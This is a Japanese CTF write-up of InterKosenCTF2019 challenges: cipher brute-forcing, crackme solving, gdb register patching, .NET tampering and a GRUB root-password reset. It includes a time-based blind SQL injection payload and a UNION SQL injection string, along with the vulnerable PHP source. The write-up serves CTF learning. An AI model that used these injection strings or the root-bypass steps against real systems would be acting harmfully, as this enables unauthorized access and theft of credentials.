ox0xo infosec tutorial

InterKosenCTF2019 writeup

2019-08-12
CTF

InterKosenCTF2019にソロチーム/dev/nullとして参加しました. 難易度調整のおかげで楽しめましたが一人でやるには時間が圧倒的に足りませんでした. そろそろちゃんとチームを組みたい.

Kurukuru Shuffle

暗号化された文字列と暗号化に使われたと思しきスクリプトが渡される.

1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm
from secret import flag
from random import randrange

def is_prime(N):
    if N % 2 == 0:
        return False
    i = 3
    while i * i < N:
        if N % i == 0:
            return False
        i += 2
    return True

L = len(flag)
assert is_prime(L)

encrypted = list(flag)
k = randrange(1, L)
while True:
    a = randrange(0, L)
    b = randrange(0, L)

    if a != b:
        break

i = k
for _ in range(L):
    s = (i + a) % L
    t = (i + b) % L
    encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
    i = (i + k) % L

encrypted = "".join(encrypted)
print(encrypted)

未知の変数 k, a, b によってflag中の2文字を L 回入れ替えるスクリプト. 各変数の値は (1 <= k <= L), (0 <= a <= L), (0 <= a <= L) かつ (a != b) だが結果を推測することは出来ない. ただし L=53 なので総当たりした場合の試行回数は 53 * 53 * 54 * 53 = 8,039,358 10^7 未満なので現実的な実行時間で求められる

from random import randrange

flag="1m__s4sk_s3np41m1r_836lly_cut3_34799u14}1osenCTF{5sKm"
L = len(flag)

def decrypt(k, a, b,):
    encrypted = list(flag)
    i = k
    for _ in range(L): // 53
        s = (i + a) % L
        t = (i + b) % L
        encrypted[s], encrypted[t] = encrypted[t], encrypted[s]
        i = (i + k) % L
    return "".join(encrypted)


for k in range(1, L): // 53 
    for a in range(0, L): // 54
        for b in range(0, L): // 53
            if a != b:
                r = decrypt(k, a, b)
                if r.startswith("KosenCTF{"):
                    print(r)

先頭がKosenCTF{で始まる読み取り可能な文字列が正解フラグ

KosenCTF{us4m1m1_m4sk_s3np41_1s_r34lly_cut3_38769915}

lost world

渡されたvdiをVirtualBoxで開くとUbuntu18.04が再生される. rootでログインしてdmesg | grep KosenCTFすれば良いと問題文に書かれているがrootパスワードが失われている. Ubuntuのパスワードリセットの手順を試せばよい.

起動時にShift長押しでブートローダに入ってe. パラメータを書き換えてCtrl-xで起動.

変更前

linux   /boot/vmlinuz-4.15.0-55-generic root=UUID=19b12e1f-65fb-4367-a95b-3087c827d67d ro splash quiet $vt_handoff

変更後

linux   /boot/vmlinuz-4.15.0-55-generic root=UUID=19b12e1f-65fb-4367-a95b-3087c827d67d rw  splash quiet $vt_handoff init=/bin/sh

シェルに入ったらrootパスワードをリセットする

/dev/sda1: recovering journal
/dev/sda1: clean, 60521/655360 files, 577830/2620928 blocks
/bin/sh: 0: can't access tty; job control turned off
# 
# passwd
Enter new UNIX password: **新しいパスワード**
Retype new UNIX password: **新しいパスワード**
passwd: password updated successfully

rootでログインできるようになったら冒頭のコマンドを実行する.

# dmesg | grep KosenCTF
[   1.708763] KosenCTF{u_c4n_r3s3t_r00t_p4ssw0rd_1n_VM}

Temple of Time

Webサイトに対する攻撃ログを分析して管理者情報が盗まれたか調べる問題. 分析対象としてHTTPのパケットが与えられる.

攻撃者はlogin.phpにtaroアカウントでログインしている. その後index.phpに以下のようなクエリを大量に投げている.

http://147.192.122.109/index.php?portal=%27OR%28SELECT%28IF%28ORD%28SUBSTR%28%28SELECT+password+FROM+Users+WHERE+username%3D%27admin%27%29%2C1%2C1%29%29%3D48%2CSLEEP%281%29%2C%27%27%29%29%29%23

URLデコードするとTime-based SQLiしている事が分かる.

portal='OR(SELECT(IF(ORD(SUBSTR((SELECT password FROM Users WHERE username='admin'),1,1))=48,SLEEP(1),'')))#

成功するとSLEEP(1)が有効になるのでHTTPレスポンスが戻ってくるのに時間がかかる. したがってWiresharkのフィルタでHTTPのRTTが1.0sec以上のものを抽出すれば良い.

http.time > 1

抽出したパケットの中から ORD(SUBSTR((SELECT password FROM Users WHERE username='admin'),1,1))=x に於けるxを時系列に並べると以下の通り.

75, 111, 115, 101, 110, 67, 84, 70, 123, 116, 49, 109, 51, 95, 98, 52, 115, 51, 100, 95, 52, 116, 116, 52, 99, 107, 95, 118, 51, 49, 108, 115, 95, 49, 116, 125

これをデコードすればフラグが手に入る.

KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}

basic crackme

以下のようなELFファイルが与えられる.

# ./crackme
<usage> ./crackme: <flag>

flagは前方一致していれば中途半端な文字列でも成功判定される.

# ./crackme Kosen 
Yes. This is the your flag :)

# ./crackme Kosem
Try harder!

すなわちflagを1文字ずつ探索するスクリプトを書けば良い.

import subprocess
import sys

flag = "KosenCTF{"

while True:
    for c in range(33,127):
        cmd = ["/tmp/kosenctf2019/basic_crackme/crackme", flag + chr(c)]
        ret = subprocess.check_output(cmd)
        if ret.startswith(b"Yes"):
            flag += chr(c)
            print(flag)
            if chr(c) == "}":
                sys.exit(0)
            continue

magic function

以下のようなELFファイルが与えられる.

# ./chall 
NG

このELFにはいくつかのチェックポイントがある.

引数が無ければNG

   0x00000000004007ce <+9>:     mov    DWORD PTR [rbp-0x24],edi
   0x00000000004007d1 <+12>:    mov    QWORD PTR [rbp-0x30],rsi
   0x00000000004007d5 <+16>:    cmp    DWORD PTR [rbp-0x24],0x1
   0x00000000004007d9 <+20>:    jle    0x400876 <main+177>

f1の後のcmpに失敗したらNG

   0x0000000000400806 <+65>:    call   0x400618 <f1>
   0x000000000040080b <+70>:    cmp    bl,al
   0x000000000040080d <+72>:    je     0x400849 <main+132>
   0x000000000040080f <+74>:    jmp    0x40087d <main+184>

f2の後のcmpに失敗したらNG

   0x0000000000400826 <+97>:    call   0x4006a7 <f2>
   0x000000000040082b <+102>:   cmp    bl,al
   0x000000000040082d <+104>:   je     0x400849 <main+132>
   0x000000000040082f <+106>:   jmp    0x40087d <main+184>

f3の後のcmpに失敗したらNG

   0x0000000000400840 <+123>:   call   0x400736 <f3>
   0x0000000000400845 <+128>:   cmp    bl,al
   0x0000000000400847 <+130>:   jne    0x400879 <main+180>

まずはf1, f2, f3のチェックポイントにブレークポイントを仕掛ける.

gdb-peda$ b *0x400845
Breakpoint 1 at 0x400845
gdb-peda$ b *0x40082b
Breakpoint 2 at 0x40082b
gdb-peda$ b *0x40080b
Breakpoint 3 at 0x40080b
gdb-peda$ i b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000000000400845 <main+128>
2       breakpoint     keep y   0x000000000040082b <main+102>
3       breakpoint     keep y   0x000000000040080b <main+70>

適当な引数を指定して実行しブレークポイントでレジスタを観察するとプログラムの挙動が推測できる. 引数はRBXに格納され正解FLAGはRAXに格納されるようだ.

すなわち、ブレークポイントでRBXを上書きしつつContinueすれば正解FLAGが入手できる.

適当な引数を指定してrun

gdb-peda$ run KosenCTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

rbxの上書き

gdb-peda$ set $rbx=0x99

次のブレークポイントまで実行

gdb-peda$ continue

passcode

32bitの.Netアプリが与えられるのでdnSpyで開く.

public Form1(){
	this.InitializeComponent();
	this.correct_state = (from c in "231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838"
	select (int)(c - '0')).ToList<int>();
	this.debug();
	this.reset();
}

private void reset(){
	this.vars = new List<int>{ 1, 2, 3, 4, 5, 6, 7, 8, 9 };
	this.indices = new List<int>();
	this.state = new List<int>();
}

private void shuffle(){
	int num = 0;
	foreach (int num2 in this.state){
		num = num * 10 + num2;
	}
	Random random = new Random(num);
	for (int i = 0; i < 9; i++){
		int index = random.Next(9);
		int value = this.vars[i];
		this.vars[i] = this.vars[index];
		this.vars[index] = value;
	}
}

private void push(int index){
	this.indices.Add(index);
	this.state.Add(this.vars[index]);
	this.shuffle();
	if (this.state.SequenceEqual(this.correct_state)){
	    string text = "";
		for (int i = 0; i < this.indices.Count / 3; i++){
			text += ((char)(this.indices[i * 3] * 64 + this.indices[i * 3 + 1] * 8 + this.indices[i * 3 + 2])).ToString();
		}
		MessageBox.Show(text, "Correct!");
	}
}

indicesはクリックしたボタンの値によって構成される数列であり、stateはボタンに関連付けられた値(vars)によって構成される数列である. なおvarsはボタンを押す度にランダムにシャッフルされる.

stateとcorrect_stateが同じ数列になる順番でボタンを押せば良いので、varsの状態を確認しながら次に選ぶべきボタンを押すコードを書けばよい.

public Form1(){
	this.InitializeComponent();
	this.correct_state = (from c in "231947329526721682516992571486892842339532472728294975864291475665969671246186815549145112147349184871155162521147273481838"
	select (int)(c - '0')).ToList<int>();
	this.debug();
	this.reset();

    // 追加コード
	using (List<int>.Enumerator enumerator = this.correct_state.GetEnumerator())
	while (enumerator.MoveNext()){
		int num = enumerator.Current;
		int index = this.vars.FindIndex((int x) => x == num);
		this.push(index);
	}
}

uploader

ファイルアップローダのURLとソースが与えられる. WebサイトにはFLAGだと予想されるsecret_fileがアップロードされている. ただしファイルをダウンロードするためにはダウンロードパスワードを入手しなければならない.

パスワードはファイルアップロード時にfilesテーブルに登録される. であるからSQLiでfilesテーブルからpasscodeカラムを読み取れば良い.

$db->exec("INSERT INTO files(name, passcode) VALUES ('$filename', '{$_POST['passcode']}')");

以下の箇所は$_GET[‘search’]を直接SQLに組み込んでいるのでSQLiを狙える.

// search
if (isset($_GET['search'])) {
    $rows = $db->query("SELECT name FROM files WHERE instr(name, '{$_GET['search']}') ORDER BY id DESC");
    foreach ($rows as $row) {
        $files []= $row[0];
    }
}

以下のような文字列を与えれば良い.

') UNION SELECT passcode from files; --

その結果passcodeの結果を画面に出力するSQLが完成する.

SELECT name FROM files WHERE instr(name, '') UNION SELECT passcode from files; --') ORDER BY id DESC

Similar Posts

Content